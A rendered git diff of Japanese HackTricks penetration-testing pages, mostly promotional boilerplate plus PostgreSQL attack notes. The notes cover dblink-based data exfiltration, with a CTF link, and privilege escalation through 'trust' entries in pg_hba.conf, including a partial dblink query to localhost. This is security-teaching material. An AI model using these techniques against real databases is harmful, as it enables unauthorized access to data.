* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
**これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらを外部流出させる方法の例です。** **これは、`lo_import`を使用してデータをデータベースにロードし、`dblink_connect`を使用してそれらをエクスフィルトレートする方法の例です。**
**ソリューションを確認:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) **ソリューションを確認:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
@ -25,10 +25,10 @@ HackTricksをサポートする他の方法
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>

View file

@ -1,28 +1,28 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で私を**フォロー**する。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
- **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details> </details>
**これらの攻撃に関する詳細情報は、[元の論文](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**を参照してください **これらの攻撃に関する詳細情報は、元の論文で見つけることができます**[http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)。
**PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[`dblink`などの登録された拡張機能](https://www.postgresql.org/docs/current/contrib.html)は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます。 **PostgreSQL 9.1**以降、追加モジュールのインストールは簡単です。[登録された拡張機能(`dblink`など)](https://www.postgresql.org/docs/current/contrib.html)は、[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)を使用してインストールできます。
```sql ```sql
CREATE EXTENSION dblink; CREATE EXTENSION dblink;
``` ```
一度dblinkをロードしたら、いくつかの興味深いトリックを実行できるかもしれません
## 特権昇格 ## 特権昇格
`dblink`をロードしている場合、いくつかの興味深いトリックを実行できるかもしれません。
`pg_hba.conf`ファイルは、**localhostからの接続を許可**し、パスワードを知らなくても**任意のユーザー**として接続できるように**構成されている可能性があります**。このファイルは通常、`/etc/postgresql/12/main/pg_hba.conf`にあり、悪い構成は次のようになります: `pg_hba.conf`ファイルは、**localhostからの接続を許可**し、パスワードを知らなくても**任意のユーザー**として接続できるように**構成されている可能性があります**。このファイルは通常、`/etc/postgresql/12/main/pg_hba.conf`にあり、悪い構成は次のようになります:
``` ```
local all all trust local all all trust
@ -30,13 +30,13 @@ local all all trust
_この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するために一般的に使用されるため、時々見つけることができるかもしれません。_\ _この設定は、管理者がパスワードを忘れた場合に、dbユーザーのパスワードを変更するために一般的に使用されるため、時々見つけることができるかもしれません。_\
_また、ファイルpg\_hba.confはpostgresユーザーとグループによってのみ読み取り可能であり、postgresユーザーによってのみ書き込み可能です。_ _また、ファイルpg\_hba.confはpostgresユーザーとグループによってのみ読み取り可能であり、postgresユーザーによってのみ書き込み可能です。_
このケースは、被害者の内部にシェルが既にある場合に**便利**です。これにより、postgresqlデータベースに接続できます。 このケースは、被害者のシェル内で既にシェルを持っている場合に**便利**です。これにより、postgresqlデータベースに接続できます。
別の可能性のある誤った設定は次のようなものです: 別の可能性のある誤った設定は次のようなものです:
``` ```
host all all 127.0.0.1/32 trust host all all 127.0.0.1/32 trust
``` ```
ローカルホストから誰もが任意のユーザーとしてデータベースに接続できるようになります。\ ローカルホストから誰もデータベースに接続できるようになります。\
この場合、**`dblink`** 関数が**動作している**場合、すでに確立された接続を介してデータベースに接続し、アクセスすべきでないデータにアクセスすることができます。 この場合、**`dblink`** 関数が**動作している**場合、すでに確立された接続を介してデータベースに接続し、アクセスすべきでないデータにアクセスすることができます。
```sql ```sql
SELECT * FROM dblink('host=127.0.0.1 SELECT * FROM dblink('host=127.0.0.1
@ -109,12 +109,12 @@ SELECT testfunc();
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見す
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)をフォローする** * **💬 [Discordグループに参加](https://discord.gg/hRep4RUj7f)**または[**telegramグループに参加**](https://t.me/peass)または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローする。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する** * **ハッキングトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
</details> </details>

Some files were not shown because too many files have changed in this diff Show more